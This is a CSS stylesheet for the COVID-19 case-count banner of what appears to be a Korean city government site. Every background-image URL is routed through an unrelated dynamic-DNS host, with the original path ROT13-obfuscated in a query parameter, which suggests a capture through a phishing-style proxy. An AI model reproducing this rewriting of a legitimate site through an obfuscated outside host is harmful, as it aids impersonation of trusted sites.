@charset "utf-8";

#coronaTop{position: relative;height: 180px;z-index: 901;}/* 20211112 */
#corona_top_2021{position: relative;height: 180px;background-color: #e9f4fc;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_gbc_ot.wct);background-position: center bottom;background-repeat: no-repeat;z-index: 901;}
.corona_top_inner{position: relative;max-width: 1112px;margin: 0 auto;}
.corona_top_title{width: 100%;height: 80px;padding-top: 25px;box-sizing: border-box;text-align: center;}
.corona_top_title h3{display: inline-block;padding-left: 43px;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_gbc_gvgyr.cat);background-position: left 2px;background-repeat: no-repeat;font-size: 30px;color: #222;font-weight: 600;font-family: "GmarketSans", sans-serif;vertical-align: top;}
.corona_top_title h3 span{color: #d74252;font-family: "GmarketSans", sans-serif;}
.corona_top_title p{display: inline-block;margin-top: 8px;padding-left: 15px;font-size: 15px;color: #666;letter-spacing: -0.5px;vertical-align: top;}
.case_value_box{min-width: 1112px;height: 60px;background-color: #fff;border-radius: 15px;box-shadow: 0px 1px 0px 0px rgba(26, 44, 102, 0.03),0px 4px 15px 0px rgba(53, 61, 83, 0.08);box-sizing: border-box;vertical-align: middle;display: -webkit-box;display: -ms-flexbox;display: -ms-flex;display: -webkit-flex;display: flex;-webkit-box-align: center;-ms-flex-align: center;align-items: center;-webkit-box-pack: center;-ms-flex-pack: center;justify-content: center;}
.case_value_box > ul{display: table-cell;vertical-align: middle;}
.case_value_box > ul > li{position: relative;display: table-cell;padding-top: 3px;vertical-align: middle;}
.case_value_box > ul > li + li{padding-left: 25px;}
.case_value_box > ul > li.case01{color: #d74252;}
.case_value_box > ul > li.case02{color: #0d808a;}
.case_value_box > ul > li.case03{color: #666;}
.case_value_box > ul > li.case04{color: #2859b3;}
.case_value_box > ul > li > div{display: inline-block;font-size: 20px;box-sizing: border-box;font-weight: 600;font-family: "GmarketSans", sans-serif;}
.case_value_box > ul > li > div + div:before{content: "";display: inline-block;width: 1px;height: 22px;margin: -2px 12px 0;background-color: #ccc;box-sizing: border-box;vertical-align: middle;}
.confirm_case_btn{display: inline-block;height: 14px;vertical-align: middle;}
.confirm_case_box{display: none;position: absolute;top: -20px;right: -270px;width: 250px;padding: 10px;background: #fff;border: 2px solid #d74252;border-radius: 10px;box-sizing: border-box;font-size: 13px;color: #222;word-break: keep-all;z-index: 999;}
.confirm_case_box.opened{display: block;}
.confirm_case_box_inner{position: relative;}
.confirm_case_box_inner h6{font-size: 16px;color: #d74252;font-weight: 600;font-family: "GmarketSans", sans-serif;}
.confirm_case_close{position: absolute;top: 0;right: 0;display: block;width: 20px;height: 20px;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_pybfr.cat);background-position: center;background-size: 100%;background-repeat: no-repeat;text-indent: -9999px;overflow: hidden;}
.corona_more{display: table-cell;padding-left: 29px;vertical-align: middle;}
.corona_more a{display: block;padding: 3px 17px 4px;padding-right: 30px;background-color: #2646a6;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_zber.cat);background-position: center right 12px;background-repeat: no-repeat;border-radius: 30px;box-sizing: border-box;font-size: 12px;color: #fff;}
.corona_close{display: table-cell;padding-left: 18px;vertical-align: middle;}
.corona_close input{border-color: #666;vertical-align: middle;}
.corona_close label{margin-left: 1px;font-size: 14px;color: #666;letter-spacing: -0.5px;vertical-align: middle;}
#corona_2021_close{display: inline-block;width: 26px;height: 26px;margin-left: 7px;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_pybfr.cat);background-position: center;background-repeat: no-repeat;text-indent: -9999px;overflow: hidden;vertical-align: middle;}
.time_text{display: block;margin-top: 5px;font-size: 13px;color: #2646a6;word-break: keep-all;text-align: right;}

@media screen and (max-width: 1199px){

	#coronaTop{height: 258px !important;}/* 20211215 */
    #corona_top_2021{height: auto;background-size: 115%;}
    .corona_top_inner{max-width: 767px;}
    .corona_top_title{width: 100%;height: auto;padding-top: 10px;}
    .corona_top_title p{display: block;margin: 0 0 15px;padding-left: 0;}
    .case_value_box{position: relative;display: block;min-width: 767px;height: auto;}
    .case_value_box > ul{display: table;width: 100%;padding: 10px 10px 50px;box-sizing: border-box;}
    .case_value_box > ul > li{width: 25%;text-align: center;padding-top: 0;}
    .case_value_box > ul > li > div{display: block;}
    .case_value_box > ul > li > div + div:before{display: block;width: 100%;height: 1px;margin: 0;}
    .corona_more{position: absolute;left: 10px;bottom: 10px;display: inline-block;padding-left: 0;}
    .corona_close{position: absolute;right: 10px;bottom: 10px;display: inline-block;padding-left: 0;}
    .time_text{padding-bottom: 10px;}

}

@media screen and (max-width: 767px){

    #coronaTop{height: 244px !important;}/* 20211215 */
    #corona_top_2021{background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lbatva.tb.xe%2Serfbheprf%2Shfre%2Sznva%2Spff%2S..%2Svzt%2Spbeban%2Spbeban_gbc_ot_z.wct);background-size: cover;background-position: center top;}
    .corona_top_inner{width: 100%;max-width: none;padding: 0 15px;box-sizing: border-box;}
    .corona_top_title{padding-top: 20px;}
    .case_value_box{min-width: auto;}
    .corona_top_title h3{display: block;padding-left: 0;background-image: none;font-size: 22px;}
    .corona_top_title p{margin: 0 0 10px;font-size: 12px;}
    .case_value_box > ul > li > div{font-size: 15px;}
    .case_value_box > ul > li + li{padding-left: 10px;}
    .corona_more a{font-size: 10px;}
    .corona_close label{font-size: 11px;}
    #corona_2021_close{width: 20px;height: 20px;margin-left: 3px;background-size: 100%;}
    .time_text{font-size: 10px;}
    .confirm_case_box{right: -200px;width: 200px;}

}

@media screen and (max-width: 320px){
    
    .corona_top_inner{padding: 0 10px;}

}